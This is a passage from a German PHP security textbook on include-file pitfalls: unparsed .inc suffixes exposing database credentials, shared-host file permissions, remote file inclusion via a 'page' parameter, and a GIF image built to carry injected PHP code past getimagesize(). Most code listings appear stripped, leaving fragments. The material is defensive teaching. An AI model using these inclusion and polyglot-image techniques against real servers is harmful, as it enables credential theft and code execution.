Die Referenzierung ist die wesentlich sicherere Methodik, da Pfadnamen nicht vom Skript geprüfte Kodierungen enthalten könnten, die das Skript dann zulässt, die jedoch tatsächlich dazu führen könnten, dass eine Datei aus einem übergeordneten Verzeichnis ausgelesen wird. Ein ausführliches Beispiel zur Referenzierung finden Sie im Abschnitt 6.3 Download und PHP auf Seite 205.
3.5
Include-Dateien
Viele Funktionen werden inzwischen in eigene Dateien ausgelagert, da sie an verschiedenen Stellen erneut verwendet werden. Mit der deutlich besseren Integration der objektorientierten Programmierung in PHP mit Version 5.0 hat dieses Verhalten auch deutlich zugenommen. Die Anweisungen include(), include_once(), require() und require_once() haben allerdings mehrere direkte und indirekte Angriffspunkte. Diese Schwachstellen kann man allerdings keinesfalls PHP zum Vorwurf machen, sie entstehen erst durch einen sorglosen Umgang mit Dateien und der Programmiersprache PHP. Dafür muss man sich ins Gedächtnis rufen, dass Sprachen wie PHP und Ruby einfach zu erlernen sind, mit ihnen allerdings dennoch mächtige Anwendungen entstehen können. Dabei stellt die Programmiersprache keinesfalls ein Rundum-Sorglos-Paket dar – bei einigen Fragen – vor allem der Sicherheit – mussten die PHP-Entwickler Abstriche vornehmen, um die Sprache nicht zu komplex und umständlich werden zu lassen. Häufige Fallen in Verbindung mit der Inkludierung von Quelltext sind: 쐽
Dateiendung der inkludierten Dateien wird nicht vom Webserver geparst
쐽
Dateien liegen in einem öffentlich zugänglichen Verzeichnis
쐽
Dateinamen, die von außen als Parameter kommen, werden für include() und require() verwendet
쐽
Auch hier gilt: Diese Liste ist keinesfalls vollständig, sie soll nur sensibilisieren!
3.5.1
Ungeparste Dateiendung
Dies ist leider ein sehr oft gemachter Fehler – fatal wird es, wenn dieser Fehler zu geglaubter Sicherheit führt, die dann keinesfalls vorhanden ist. Dieses Szenario ist dabei nicht einmal neu, es existiert schon seit jeher, und es existiert nicht nur mit PHP, sondern mit jeder serverseitigen Programmiersprache und einer wenig restriktiven Webserverkonfiguration. Um das Szenario zu verdeutlichen, hier ein kleines Beispiel mit folgender ApacheWebserverkonfiguration (Auszug):
Alle Dateien mit den Endungen .php, .php5, .php4, .php3 und .phtml werden dabei, nachdem sie von einem Client angefordert wurden, an PHP übergeben – erst dessen Ausgabe wird an den Client versendet. Problemlos ist in dieser Konfiguration ein Skript dieser Bauart:
$connection = new PDO("$system:dbname=$db", $user, $passwd); ?>
Arbeiten nun jedoch mehrere Entwickler an diesem Projekt und die Datenbankverbindungsinformationen sollen nicht mehr für jeden Entwickler zugänglich sein, so werden diese in eine eigene Datei db.php ausgelagert. Die beiden Dateien sehen danach also wie folgt aus:
Listing 3.2:
db.php: Datenbankkonfigurationsdaten
68
3.5 Include-Dateien
Hinweis Um den Zugriff durch andere Entwickler zu unterbinden, wären natürlich weitere Maßnahmen – etwa Einschränkungen der jeweiligen FTP- oder Versionsmanagementzugänge – erforderlich. Alternativ kann es sein, dass sie die selben Zugangsdaten für mehrere kleine Subprojekte benötigen – so wäre es mit der Auslagerung nicht notwendig, diese Zugangsdaten in jedem Projekt einzeln zu führen; sie würden über die zentrale db.php inkludiert. Leider kommt es nun oft zu einem folgenschweren Fehler, der nicht einmal als solcher gesehen wird. Um die Dateien besser zu strukturieren, wird manch PHP-Entwickler die Dateien, die lediglich von anderen in irgendeiner Weise inkludiert werden, mit dem zusätzlichen Dateisuffix .inc versehen, so dass er anhand der Verzeichnislistings gleich erkennen kann, welche Dateien keine eigenständige Funktion, sondern lediglich Funktions- oder Datenlieferant für andere sind. Es kommt nun stark auf den Programmierer an, wie er den Dateinamen erweitert. Denkbar sind hier nun zwei Fälle: db.inc.php db.php.inc
Betrachtet man nun die Dateinamen in Zusammenhang mit der Webserverkonfiguration, sieht man, dass die erste Variante keinen Einfluss auf die Sicherheit hat. Der Webserver zieht für die Übergabe an den PHP-Interpreter ausschließlich die Dateiendung nach dem letzten Punkt zu Rate. Bei db.inc.php lautet diese also .php, und diese wird von der Zeile AddType application/x-httpd-php abgedeckt. Die andere Benennung mit dem Suffix .inc sorgt allerdings hier für Probleme: Diese Endung taucht in der erwähnten Zeile nicht auf. Doch was bedeutet das? In einer normalen Webserver-Standardkonfiguration, die nicht restriktiv ausgelegt ist, werden alle Dateien, die keinem Modul zugeordnet sind und vom Client angefordert werden, direkt als Klartext an den jeweiligen Client ausgeliefert. Hier bedeutet das: Weiß ein Angreifer, dass es eine Datei db.php.inc gibt und er fordert sie über den Webserver (z.B. mit einer URL http://testserver/db.php.inc) an, sieht er den Inhalt der Datei und somit die Datenbankzugangsdaten. Wäre die Datei vom PHP-Interpreter geparst worden, so sähe der Angreifer nichts, denn das Skript hat keine Ausgabe erzeugt. Dies ist durchaus eine vertrackte Problematik. Wenn ein Dritter davon ausgehen kann, dass es »ungeschützte« Skripte mit sensiblen Daten auf einem Server gibt, kann er systematisch in Frage kommende Dateinamen durchgehen und diese vom
69
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Server anfragen – früher oder später wird er dann an Daten, die für ihn interessant sein könnten, gelangen. Um dies zu verhindern, gibt es konkret zwei Möglichkeiten. Zum Einen gibt es hier die starke Disziplin, Dateien nur so zu benennen, dass sie auch durch den Webserver an den PHP-Interpreter übergeben und somit geparst werden. Besonders in größeren Projekten mit Entwicklern, die dieses »Namenssystem« bereits seit Jahren einsetzen, ist es nicht leicht, eine Umstellung der Benennung zu erreichen. Zum Anderen gibt es noch eine viel sicherere Methode, bei der keine Disziplin seitens der Entwickler erforderlich ist1. Hier muss einfach eine viel restriktivere Konfiguration des Webservers vorgenommen werden, so dass nur noch Dateien an Clients ausgeliefert werden dürfen, die eine bestimmte Endung tragen. Dies bedeutet auch, dass weniger Flexibilität geboten ist. Möchte man auf einem solchen System spontan eine PDF-Datei über den Webserver bereitstellen und das Suffix .pdf steht nicht auf der Liste der zugelassenen Dateien, so ist ein Download dieser Dateien nicht möglich – der Client wird den HTTP-Fehler 403 (Forbidden, Zugriff verweigert) erhalten. Diese Restriktion gibt allerdings die Gewissheit, dass Clients nur Dateien erhalten, die für sie auch bestimmt sind. Auf die Arbeit mit PHP haben diese Einstellungen übrigens keinen Einfluss. Wenn Dateien lokal mit include() oder require() in ein Skript geladen werden, erfolgt dieser Zugriff lediglich durch PHP und innerhalb des lokalen Dateisystems. Für eine solche Konfiguration muss man sich jedoch darüber im Klaren sein, welche Dateien von Clients angefordert werden sollen. In Frage kommen dabei zum Beispiel:
70
쐽
PHP-Skripte, die von Clients aufgerufen werden (Suffixe: .php, .php3, .php4, .php5, .phtml; alle Dateien dieser Gruppe sollten vom Webserver an PHP übergeben werden)
Das soll keinesfalls bedeuten, dass in solchen Projekten nun jeder Entwickler nach Gutdünken handeln soll!
3.5 Include-Dateien
Innerhalb einer Apache-Konfiguration ließe sich der Zugriff auf die oben genannten Dateien mit folgendem Block beschränken: Order Deny,Allow Deny from all Allow from none
Diese Konfiguration ist dabei restriktiv: Es wird angegeben, welche Dateiendungen erlaubt sind (dies wird durch die Negierung des regulären Ausdrucks mit ^ erreicht). Andere Webserversysteme sind hierbei teilweise weniger flexibel und erlauben es lediglich, Muster der Dateien anzugeben, die nicht an einen Client ausgeliefert werden sollen. Der Roxen-Webserver etwa unterstützt eine Liste der internen Dateien; dies stellt Dateien dar, die nicht von einem Client direkt angefordert werden können und die auch in keinem Verzeichnislisting aufgeführt werden. Dabei ist das Verfahren umgekehrt: Es müssen alle Dateien angegeben werden, die ausgeschlossen werden sollen; eine Negierungsmöglichkeit gibt es nicht. Das Problem der include()-Dateien lässt sich so leider nur schwer beheben. Ein Anfang ist allerdings folgender Roxen-Konfigurationseintrag: <str>*.php.* <str>*.inc
Wichtig Das Tag internal_files steht lediglich innerhalb von Filesystem-Modulen zur Verfügung. Benennt nun allerdings ein Entwickler seine include-Dateien etwa mit .php.req (in Anlehnung an require()), wirkt der Filter nicht mehr.
3.5.2 Dateien in öffentlich zugänglichem Verzeichnis Zunehmend werden vor allem kleinere PHP-Projekte nicht mehr auf einem einzelnen Webserver gehostet. Vielmehr teilen sie sich einen Server mit anderen Anwendungen auf einem Shared-Hosting-Server. Dies ist durchaus sinnvoll, denn es spart Kosten und minimiert den notwendigen Administrationsaufwand.
71
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Selten wird der Server dann ausschließlich vom gleichen Entwicklerteam genutzt. Meist ist es so, dass der Server von einem ISP bereit gestellt wird und verschiedene Kunden ihre eigenen PHP-Anwendungen darauf verwalten. Dies hat zur Folge, dass verschiedene Personen Zugriff auf den gleichen Server haben. Oft wird leider vergessen, dass dies auch eine Gefahr für sensible Daten darstellt; dies trifft vor allem dann zu, wenn der Server schlecht konfiguriert ist. Dieses Problem steigert sich umso mehr, desto mehr der einzelne Kunde darf: Ein Shell-Zugang mag für die Installation von zusätzlicher Software (etwa Foren- oder CM-Software) praktisch sein, stellt jedoch möglicherweise ein Problem dar. Diese »Lücke« entsteht durch einen Kompromiss, der zwischen Performance des Webservers und PHP sowie der Sicherheit der Benutzerdateien getroffen wird. Es gibt zwei Möglichkeiten für einen Webserver, den PHP-Interpreter anzusprechen: Entweder er lädt ein entsprechendes Modul, so dass der PHP-Interpreter immer zur Verfügung steht und leichter Instanzen für ein neues Skript gestartet werden können, oder PHP wird als CGI-Modul bzw. -Applikation gestartet. Für den Start als CGI (Common Gateway Interface) ist es allerdings notwendig, dass der PHP-Interpreter für jedes zu parsende Skript neu gestartet wird. Nach jedem Aufruf wird PHP wieder beendet. Jedes Skript wird also in einer abgeschlossenen Umgebung aufgerufen. Der Vorteil von CGI gegenüber einem Webserver-Modul ist in gewisser Weise fantastisch: Ein CGI-Modul lässt sich unter einem anderen Benutzer starten. Unter dessen Rechten wird dann das entsprechende Skript ausgeführt. In dieser Konfiguration ist es möglich, lediglich dem gewünschten Benutzer Zugriffsrechte auf die Skripte und Dateien, die vom Skript gelesen oder geschrieben werden, zu geben. Allerdings geht dieses Verhalten zu Lasten der Performance. Für jedes Skript wird der PHP-Interpreter als neuer Prozess geladen; zudem sind übergreifende Aufrufe – etwa persistente Datenbankverbindungen – nicht möglich. Jedes Skript muss also seine Datenbankverbindung erneut aufbauen, selbst wenn es nur eine einzige Abfrage ausführt. Performant besser ist der Aufruf über ein Webserver-Modul. Hierbei ist der Interpreter ständig geladen, wird allerdings immer mit den Rechten des Webservers aufgerufen. Da diese Methode jedoch deutliche Geschwindigkeitsvorteile bringt, müssen auch Skripte und zugehörige Dateien vom Benutzer des Webservers gelesen und nötigenfalls auch geschrieben werden können. Dieser Umstand für sich ist jedoch auch noch nicht tragisch – es fehlt hier noch ein Glied der Kette, das in vielen Serverkonfigurationen eine Selbstverständlichkeit ist. Um die Zusammenhänge hier klar zu erkennen, ist ein Streifzug in das UnixBerechtigungskonzept notwendig.
Hinweis Auch wenn hier ausschließlich von Linux bzw. Unix die Rede ist: Das Problem besteht in Abwandlung auch unter anderen Betriebssystemen wie etwa Windows.
72
3.5 Include-Dateien
Jeder PHP-Entwickler, dessen Projekte auf einem Linux- oder Unix-Server beheimatet sind, wird dem Rechtesystem schon einmal begegnet sein, auch wenn er – mangels Kentnisse der Administration solcher Systeme – dies nicht bemerkt hat. Der chmod-Befehl, der meist auf 755 gesetzt wird, steuert genau diese Berechtigungen für Dateien und Verzeichnisse. In einigen FTP-Programmen kommt man selbst mit diesem drei- und bei bestimmten Anwendungszwecken auch vierstelligem Zahlencode nicht in Berührung. In solchen Applikationen gibt man an, welche Benutzergattung inwieweit auf ein entsprechendes Objekt zugreifen darf und der FTP-Client setzt sich den entsprechenden Wert selbst zusammen und übermittelt diesen an den Server. Doch was bedeuten diese drei Ziffern? Das Konzept auf Unix-artigen Betriebssystemen ist im Grundsatz einfach, flexibel, transportabel und dennoch sehr mächtig. Auf anderen Betriebssystemen wird jedem Benutzer einzeln der Zugriff auf Dateien und Verzeichnisse erlaubt. Dabei erhält jeder Benutzer für jedes gewünschte Objekt eine individuelle Berechtigung. Dieses System ist sehr komplex, es können für einzelne Dateien seitenweise Berechtigungslisten entstehen (durch Anwendung von Benutzergruppen können diese verkürzt werden). Diese Methodik hat allerdings ihre Nachteile. Sie ist sehr unübersichtlich; es ist nicht innerhalb weniger Sekunden erkennbar, welcher Benutzer nun welche spezifischen Rechte besitzt. Steht der Benutzer nicht in der Liste der Zugriffsrechte eines Objektes, könnte eventuell eine der Gruppen spezifiziert sein, in der er Mitglied ist. Ist auch dies nicht der Fall, muss noch geprüft werden, ob er – oder eine seiner Gruppen – Zugriffsrechte für ein übergeordnetes Objekt besitzt. Weiterhin ist dieses Berechtigungsmodell nicht so leicht übertragbar; diese umfangreichen Daten können nicht innerhalb des Dateisystems als simple Attribute mitgespeichert werden, sie müssen in einer eigenen Datenbank mitgeführt werden. Schon das Verschieben oder Kopieren von Dateien und Verzeichnissen erfordert vom Betriebssystem einen großen Aufwand, um sicherzustellen, dass Berechtigungen nicht verlorengehen. Das Sichern dieser Einstellungen oder gar das Kopieren mittels normaler Dateiarchive ist da gänzlich unmöglich. Unix, Linux und andere Systeme dieser Linie gehen hier einen anderen Weg, der auf den ersten Blick nicht dieselben individuellen Berechtigungen bietet: Für jedes Objekt werden spezifisch die Berechtigungen für den Dateieigner, die Eignergruppe und alle anderen Benutzer festgelegt. Zusätzlich werden für jede Datei und jedes Verzeichnis der Besitzer und die Besitzergruppe – die keinesfalls etwas mit dem Besitzer zu tun hat – festgelegt. Zudem ist es nicht möglich, eine Vererbungsstruktur festzulegen. Werden Rechte für Verzeichnisse neu vergeben, so ist es möglich, diese Rechte auch für Unterverzeichnisse und enthaltene Dateien zu übernehmen, jedoch ist es nicht so, dass ein Benutzer, der ein Leserecht für ein Ver-
73
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
zeichnis hat, auch alle Dateien darin lesen darf; erlaubt das spezifische Dateiattribut keinen Zugriff, so gibt es nichts, dass diesen Zustand anderweitig beeinflusst. Jede dieser drei Rechtegruppen (Eigentümer, Gruppen, andere) kann folgende Rechte erhalten2: 쐽
Kein Zugriff
쐽
Leserecht (Wert: 4)
쐽
Schreibrecht (Wert: 2)
쐽
Ausführrecht (Wert: 1)
쐽
Eine Kombination der drei vorgenannten
Werden verschiedene Rechte für eine Gruppe kombiniert, so werden die jeweiligen Zahlenwerte aufsummiert; die Einzelwerte sind mögliche Potenzen der Basis 2 und lassen somit keinerlei Verwechslungen zu. Der in Web-Umgebungen übliche Aufruf von chmod 755 bedeutet also: 쐽
Der Eigentümer hat Lese-, Schreib- und Ausführberechtigungen
쐽
Die Gruppe hat Lese- und Ausführrechte, kann also eine Datei nicht verändern
쐽
Alle anderen Benutzer haben ebenfalls lediglich Ausführ- und Leseberechtigungen
Doch was bedeutet das nun in der Praxis in Verbindung mit einem Webserver, sensitiven PHP-Skripten und Benutzern mit Zugriff auf das lokale Dateisystem (z.B. durch SSH-Zugang)? Eine Standardkonfiguration auf einem solchen System wird so aussehen: 쐽
Jeder Benutzer hat einen eigenen Account
쐽
Alle Benutzer befinden sich in der gleichen Benutzergruppe (z.B. users)
쐽
Der Webserver wird unter einem eigenen Benutzer (z.B. www) in einer eigenständigen Gruppe (z.B. wwwgroup) betrieben
Der Webserver-Benutzer befindet sich somit nicht in derselben Benutzergruppe wie der Benutzer, dem die Datei gehört – oder gar der Gruppe (die wohl bei allen Dateien dann der Gruppe des Benutzers entsprechen wird). Somit ist es erforderlich, dass die Berechtigung für alle »anderen« Anwender sowohl das Lese- und Ausführrecht umfasst, da sonst der Webserver die PHP-Dateien nicht lesen und sie nicht ausführen dürfte (das Ausführrecht ist erforderlich, damit diese von PHP interpretiert werden). Dass der Eigentümer selbst vollen Zugriff auf seine Dateien benötigt, ist selbstverständlich – denn sonst könnten diese nicht verändert werden 2
74
Die Spezialfälle SUID-/SGID/Sticky-Bit spielen für die Zugriffsproblematik keine Rolle und werden hier außer Acht gelassen.
3.5 Include-Dateien
(sicher: ein Ausführrecht ist wahrscheinlich im Falle von PHP-Dateien nicht zwingend erforderlich, da diese Dateien wohl lediglich vom Webserver und nicht an der Shell ausgeführt werden). Damit ergäbe sich bisher für PHP-Dateien in einem solchen System folgende Berechtigung: 705. Dies weicht lediglich in der Gruppenberechtigung vom »Standard« 755 ab. Doch was hat das auf einem System mit verschiedenen Benutzern, von denen jeder in PHP-Dateien sensitive Daten (etwa Passwörter) vorhält, zur Folge? Nun die 755 hat eine Lese- und Ausführrecht für alle Benutzer der Gruppe, zu der die Datei zugewiesen ist, zur Folge. Ist dies die Gruppe users, kann jeder Benutzer dieser Gruppe eine solche Datei auslesen. Dies bedeutet: Ein Benutzer A kann an der Shell etwa in das Basisverzeichnis der Benutzerverzeichnisse (meist wird dies /home sein) wechseln und anhand des Verzeichnislistings (soweit dies gestattet ist) in ein Verzeichnis eines anderen Benutzers wechseln und beispielsweise dessen Datenbankzugangsdaten auslesen. Dies ist natürlich ein fataler Umstand. Diesem lässt sich damit begegnen, dass ein Verzeichnislisting des /home-Verzeichnisses für Gruppenbenutzer nicht zulässig ist (dabei muss die Gruppe der Benutzer das /home-Verzeichnis besitzen!). Dies kann das Problem allerdings lediglich eindämmen: Kennt jemand den exakten Pfad eines solchen Verzeichnisses oder gar den Pfad einer spezifischen Datei, kann er auch ohne Recht auf das Basisverzeichnis an den fraglichen Inhalt gelangen. Effektiv verhindern lässt sich der Missbrauch nur dadurch, dass die Gruppe keine Berechtigungen erhält, also chmod 705 verwendet wird.
Wichtig Seien Sie bei der Rechtevergabe für alle »anderen« Benutzer nicht zu pessimistisch! Für Verzeichnisse muss immer auch das Ausführrecht vergeben werden, da sonst der Webserver bzw. PHP eventuell nicht auf dieses zugreifen kann; die Anforderung eines Verzeichnislistings wird als Ausführung und nicht als Lesen gewertet! Doch nicht in jeder Umgebung kann die Gruppe ohne Rechte bedacht werden; auf solchen Systemen ist es dann sogar meist üblich, dass verschiedene Kunden unter dem gleichen Systembenutzer Zugriff auf das Dateisystem erlangen, sie also nur über virtuelle Accounts verfügen. In solch einem Fall bringt es relativ wenig, der Gruppe alle Rechte zu entziehen: Der Benutzer kann bereits auf die Dateien anderer Personen zugreifen. Auf solchen Servern sollte es zum Einen selbstverständlich sein, dass keiner der virtuellen Benutzer auf irgendeine Weise direkten Zugriff auf den Server – etwa per SSH – erhält. Zum Anderen muss sichergestellt werden, dass alle Benutzer innerhalb ihres Verzeichnisses bleiben. Bei einem FTP-Server wird hier etwa ein chroot auf das jeweilige Verzeichnis gesetzt (die Wurzel des Dateisystems wird also auf
75
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
den Ordner gesetzt, der Benutzer kann nicht auf Ebenen darüber zugreifen). Allerdings sind Dateisystemzugriffe auch mit PHP möglich; um auch hier die Sicherheit zu bieten, dass niemand Daten anderer ausliest, sollte die PHPKonfigurationsdirektive open_basedir verwendet werden. Mehr dazu erfahren Sie im Abschnitt 9.3 Basisverzeichnis mit open_basedir auf Seite 283.
3.5.3
Externe Dateien und include
Die Einfachheit von PHP basiert zu einem Teil auf der hohen Flexibilität, somit können auch Daten variabel gestaltet werden. Da PHP-Dateien stets neu übersetzt werden, kann auch der Pfad zu einer solchen Datei flexibel gestaltet sein – es spielt lediglich eine Rolle, wie der Pfad im Moment der Interpretation ist und dass die dann »genannte« Datei existent und eine für PHP übersetzbare Datei ist. Kurzum: Die Datei, die per include() oder require() geladen werden soll, muss kein feststehender Name sein, es kann sich auch um eine Variable handeln, die den Pfad enthält. Dies birgt dabei allerdings in mehrerlei Hinsicht eine Gefahr: Wird der Wert des jeweiligen Parameters durch externe Daten gespeist können bei ungenügender Konfiguration des Webservers sensible Daten des Serversystems ausgelesen oder gefährlicher Code auf dem System ausgeführt werden. Folgender Quelltext einer PHP-Datei ist also alles andere als unbedenklich:
Wichtig Grundsätzlich sollte man sich nie blind auf Pfadangaben aus externer Quelle verlassen! Wird eine Datei inkludiert, lässt sich im Gegensatz zu anderen Vorgehensweisen schon einmal ausschließen, dass etwa eine Systemdatei (sehr beliebt ist hier die passwd-Datei aus dem etc-Verzeichnis auf Unix-/Linux-Systemen) ausgelesen wird. Bei include() bzw. require() muss es sich um valide PHP-Dateien handeln, die eine Ausgabe über PHP-Befehle erzeugt. Jedoch ist es möglich, böswilligen Code auszuführen. Im Gegensatz zu anderen Sprachen ist es mit PHP möglich, entfernte Dateien in ein Skript einzubinden. Der Verweis muss also nicht auf eine Datei innerhalb des gleichen Dateisystems erfolgen, es kann auch eine Datei per HTTP oder FTP nachgeladen werden. Ein Zugriff auf entfernte Dateien kann nur erfolgen, wenn in der PHP-Konfiguration die Option allow_url_fopen() auf 1 steht (Standardwert). Es ist allerdings nicht
76
3.5 Include-Dateien
möglich, diese Zugriffsart generell für include und require gezielt abzuschalten. Wird diese Option deaktiviert, kann sie auch bei anderen Dateifunktionen und bei den Grafikfunktionen imagecreatefromXXX() nicht mehr angewendet werden. Was kann solch ein »eingeschleuster« Code bewirken? Dies kommt ganz auf die Konfiguration des Servers an; das Löschen von Dateien innerhalb der Webanwendung ist wahrscheinlich möglich – doch das dürfte selten das Ziel sein. Interessanter ist es, Zugangsdaten zu Datenbanken im ersten Schritt zu erhalten und im weiteren Verlauf sensitive Daten – etwa Adressen, E-Mail-Adressen oder gar Kreditkartennummern – aus diesen Datenbanken zu beziehen. Um an diese Informationen zu gelangen, ist es keinesfalls erforderlich, irgendwelche Kenntnisse der Anwendung oder des Programmierstils zu haben. Der Angreifer muss beispielsweise nicht wissen, wie die Variablen heißen, in denen die Zugangsdaten gespeichert werden. Zur Verdeutlichung ein Beispiel:
… ?>
Listing 3.3:
main.php
getMessage(); } ?>
Listing 3.4:
db.php
Im Skript main.php wird die db.php inkludiert, die automatisch eine Verbindung zur MySQL-Datenbank aufbaut. Dabei werden die Verbindungsparameter in Vari-
77
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
ablen ausgelagert, damit sie leichter verändert werden können. Ist danach ein Verbindungsaufbau außerhalb der db.php notwendig, so können diese Variablen verwendet werden. Die main.php inkludiert allerdings auch eine weitere Datei, die aus dem Übergabeparameter page stammt. Wie kann hier nun böswilliger Code eingeschleust werden? Im ersten Schritt wird ein Angreifer – wenn er eine Datenbank vermutet – herausfinden wollen, ob es die Verbindungsdaten in Variablen gibt. In page wird er also die URL einer Datei übermitteln, die folgenden Code enthält:
Durch die Benennung der Variablen in db.php ist es nicht weiter schwer, die Variablen zu erkennen, die darüber Auskunft geben, wie die Zugangsdaten zur Datenbank lauten. Doch selbst wenn die Variablen anders benannt werden, so dass ein direkter Zusammenhang zur Datenbank nicht hergestellt werden kann (was dann wiederum für die eigene Programmierung weniger geeignet ist), muss man bedenken, dass ein Angreifer alle Zeit der Welt hat, um die Liste der Variablen entsprechend zu analysieren. Und da er jede externe PHP-Datei ausführen kann, solange die Lücke existiert, kann er sich an sein Ziel »heranpirschen«; im Beispiel wird er also als Nächstes entweder direkt auf die Datenbank mit einem entsprechenden Tool zugreifen, oder, falls dies bedingt durch Datenbankkonfiguration nicht möglich ist (Verbindungen etwa nur vom lokalen Server aus zulässig), mit einem PHP-Skript die vorhandenen Tabellen auslesen und danach wahrscheinlich Daten beziehen. Diese Lücke kann sich ein Angreifer übrigens nicht nur aus der Ferne zu Nutze machen: Wenn eine Datei hochgeladen und inkludiert wird, kann auch hier schadhafter Code eingeschleust werden – hinzu kommt, dass auch eine Filterung der Dateien nicht direkt wirkt. Ist es in einem CMS etwa erlaubt, Bilddateien heraufzuladen und wird eine solche hochgeladene Datei nachher auf einer anderen PHPSeite mittels include() inkludiert (so kann die Datei bzw. dessen Inhalt an den Client ausgeliefert werden, ohne dass dieser beispielsweise die Quelle im System des Webservers kennen muss), wird unter Umständen auch der eingeschleuste Schadcode ausgeführt.
Wichtig Das hier geschilderte Problem besteht nicht nur bei Bilddateien, sondern bei jeder Datei, die mittels include() »nur« an den Client ausgeliefert werden soll.
78
3.5 Include-Dateien
Um dies genauer zu verstehen, sollte man sich vor Augen führen, wie der PHPInterpreter arbeitet: Er sucht in einem Stream nach den Tokens bzw. und ?>, sofern diese Variante in der Konfiguration aktiviert wurde, und wertet alles, was sich zwischen diesen beiden Identifikatoren befindet, als PHP-Code aus und ersetzt den Codeblock durch die Ausgabe, die vom Quelltext erzeugt wurde. PHP ist es dabei egal, um was für eine Art Stream es sich handelt: Dies kann sowohl reiner Text (eine Textdatei, die lediglich PHP-Code oder eine Mischung aus anderem Text, z.B. HTML, und PHP-Source) oder eine binäre Datei sein, die eben als reinen Text den Code mit den entsprechenden Start- und End-Tokens enthält. Allerdings wird ein Webserver im Allgemeinen nur Dateien an den PHP-Interpreter übermitteln, wenn das Dateisuffix mit den freigeschalteten Dateiendungen übereinstimmt. Wird jedoch eine Datei via include() durch ein gültiges PHP-Skript geladen, spielt es keine Rolle, welches Suffix die zu inkludierende Datei trägt. Beim include() (und auch beim require()) wird davon ausgegangen, dass nur Dateien aus sicherer Quelle aufgerufen werden. Dies ist jedoch beim include() von Dateien aus Parametern oder bei hochgeladenen Dateien nicht der Fall. Dieser Code wird leider sehr oft verwendet, wenn es darum geht, Daten an einen Client zu übermitteln – etwa ein Bild oder eine Textdatei:
Hier spielt es keine Rolle, ob der GET-Parameter page vom Client oder von einem anderen Skript, das auf dem gleichen Server ausgeführt wurde, generiert wurde und ob der Wert eine lokale oder entfernte Datei darstellt. Dabei wird dieser Code oft verwendet, wenn der anfordernde Client den Dateinamen und dessen Pfad innerhalb des Webservers nicht kennen soll, weil sich dieser etwa vermutlich ändert, nicht direkt heruntergeladen werden soll oder die Daten aus einer Datenbank stammen und es somit keine physikalische Adresse gibt. Durch das include() – ein require() hätte den gleichen Effekt – wird die als Parameter spezifizierte Datei als PHP-Code zu interpretiert. Werden in dieser Datei die Tokens gefunden, kann so schadhafter Code eingeschleust werden. Der Angreifer hat beispielsweise folgende GIF-Datei: GIF89a ÷
Es handelt sich um ein gültiges Bild mit einer Höhe und Breite von jeweils einem Pixel. Ein Angreifer kann nun diesen Bytestrom etwas erweitern, ohne dass das Bild ungültig wird: GIF89a ÷ € € €€ €€ € €€€€€ÀÀÀÿ ÿ ÿÿ ÿÿ ÿ ÿÿÿÿÿ 3 f ™ Ì ÿ 3 33 3f 3™ 3Ì 3ÿ f f3 ff f™ fÌ fÿ ™ ™3 ™f ™™ ™Ì ™ÿ Ì Ì3 Ìf Ì™ ÌÌ Ìÿ ÿ ÿ3 ÿf ÿ™ ÿÌ ÿÿ3 3 33 f3 ™3 Ì3 ÿ33 33333f33™33Ì33ÿ3f 3f33ff3f™3fÌ3fÿ3™ 3™33™f3™™3™Ì3™ÿ3Ì 3Ì33Ìf3Ì™3ÌÌ3Ìÿ3ÿ 3ÿ33ÿf3ÿ™3ÿÌ3ÿÿf f 3f ff ™f Ìf ÿf3 f33f3ff3™f3Ìf3ÿff ff3fffff™ffÌffÿf™ f™3f™ff™™f™Ìf™ÿfÌ fÌ3fÌffÌ™fÌÌfÌÿfÿ fÿ3fÿffÿ™fÿÌfÿÿ™ ™ 3™ f™ ™™ Ì™ ÿ™3 ™33™3f™3™™3Ì™3ÿ™f ™f3™ff™f™™fÌ™fÿ™™ ™™3™™f™™™™™Ì™™ÿ™Ì ™Ì3™Ìf™Ì™™ÌÌ™Ìÿ™ÿ ™ÿ3™ÿf™ÿ™™ÿÌ™ÿÿÌ Ì 3Ì fÌ ™Ì ÌÌ ÿÌ3 Ì33Ì3fÌ3™Ì3ÌÌ3ÿÌf Ìf3ÌffÌf™ÌfÌÌfÿÌ™ Ì™3Ì™fÌ™™Ì™ÌÌ™ÿÌÌ ÌÌ3ÌÌfÌÌ™ÌÌÌÌÌÿÌÿ Ìÿ3ÌÿfÌÿ™ÌÿÌÌÿÿÿ ÿ 3ÿ fÿ ™ÿ Ìÿ ÿÿ3 ÿ33ÿ3fÿ3™ÿ3Ìÿ3ÿÿf ÿf3ÿffÿf™ÿfÌÿfÿÿ™ ÿ™3ÿ™fÿ™™ÿ™Ìÿ™ÿÿÌ ÿÌ3ÿÌfÿÌ™ÿÌÌÿÌÿÿÿ ÿÿ3ÿÿfÿÿ™ÿÿÌÿÿÿ!ù , ÿ ;
Eine so modifizierte GIF-Datei würde eine Prüfung auf Gültigkeit, die bevorzugt mit getimagesize() durchgeführt wird, überstehen. getimagesize() würde bei dieser manipulierten Datei folgendes Array ergeben: Array ( [0] => 1 [1] => 1 [2] => 1 [3] => width="1" height="1" [bits] => 8 [channels] => 3 [mime] => image/gif )
Es ist also in keiner Weise zu erkennen, dass das »Bild« manipuliert wurde; wäre es nicht als korrektes Bild erkannt worden, so hätte getimagesize() Null zurückgegeben. Wird diese Datei nun mit include() durch ein anderes Skript inkludiert,
80
3.5 Include-Dateien
wird in den Bytestrom der GIF-Daten eine Liste der Dateien innerhalb des Verzeichnisses des aufrufenden Skriptes integriert. Der Angreifer kann diese wieder genauso einfach aus dem vom Server gelieferten »Bild« entnehmen. Noch einmal: Es spielt keine Rolle, ob dabei eine Datei inkludiert wird, deren Pfad oder URL aus einem externen Parameter übernommen wird oder ob diese Datei aus einer lokalen Datenquelle stammt: Es gibt immer einen Weg, ein solches include() zu missbrauchen. Diese Beispiele sollten aufzeigen, wie gefährlich das Inkludieren »irgendwelcher« Dateien sein kann. Doch wie macht man es richtig? Wie verhindert man, dass Schadcode über Dateien ausgeführt wird, die eigentlich nur an den Client ausgeliefert werden sollen? Ganz einfach: Man benutzt eine Aufrufkombination aus header() und dem Auslesen und Ausgeben einer solchen Datei. Mittels header() sollte dabei stets der Content-Type festgelegt werden, damit der Client stets weiß, wie er mir der erhaltenen Datei umgehen soll (so weiß ein Browser etwa bei einem Bild, dass er es anzeigen muss, auch wenn es nicht über einen -Tag in einer HTML-Datei referenziert wurde).
